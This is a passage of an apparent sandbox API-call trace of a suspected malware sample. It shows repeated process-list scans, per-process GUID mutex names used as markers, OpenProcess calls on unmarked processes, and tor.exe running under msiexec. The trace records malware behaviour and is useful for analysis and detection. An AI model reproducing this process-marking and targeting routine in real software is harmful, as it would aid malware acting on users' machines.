Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0117.417] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.418] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0117.419] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0117.419] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0117.419] GetLastError () returned 0xb7 [0117.419] CloseHandle (hObject=0x56c) returned 1 [0117.419] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0117.420] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0117.421] CloseHandle (hObject=0x6cc) returned 1 [0117.421] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0117.601] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0117.603] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.604] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0117.605] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0117.606] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.606] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0117.607] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.608] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0117.609] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0117.610] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0117.611] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0117.612] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.613] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.614] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.614] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.615] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.616] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0117.617] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.618] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.619] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0117.620] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.620] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.622] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0117.622] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0117.622] GetLastError () returned 0xb7 [0117.622] CloseHandle (hObject=0x56c) returned 1 [0117.622] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0117.623] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0117.623] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0117.623] GetLastError () returned 0xb7 [0117.623] CloseHandle (hObject=0x56c) returned 1 [0117.623] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0117.623] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.624] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0117.624] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0117.624] GetLastError () returned 0x0 [0117.624] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0117.624] CloseHandle (hObject=0x56c) returned 1 [0117.624] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.625] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0117.625] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0117.625] GetLastError () returned 0x0 [0117.625] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0117.625] CloseHandle (hObject=0x56c) returned 1 [0117.625] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.626] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0117.626] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0117.626] GetLastError () returned 0xb7 [0117.626] CloseHandle (hObject=0x56c) returned 1 [0117.626] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.627] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0117.627] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0117.627] GetLastError () returned 0x0 [0117.627] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0117.627] CloseHandle (hObject=0x56c) returned 1 [0117.627] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0117.628] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0117.629] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0117.630] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0117.630] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0117.631] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0117.632] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0117.633] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0117.772] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0117.867] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0117.868] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0117.868] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0117.869] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0117.870] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0117.871] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0117.872] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0117.873] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0117.874] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0117.875] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0117.876] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0117.877] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0117.878] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.879] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0117.879] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.880] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0117.882] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.883] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0117.883] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0117.884] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0117.885] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.886] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0117.888] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0117.888] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x568 [0117.888] GetLastError () returned 0xb7 [0117.888] CloseHandle (hObject=0x568) returned 1 [0117.888] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0117.889] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0117.889] CloseHandle (hObject=0x6cc) returned 1 [0117.889] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0118.100] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0118.102] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, 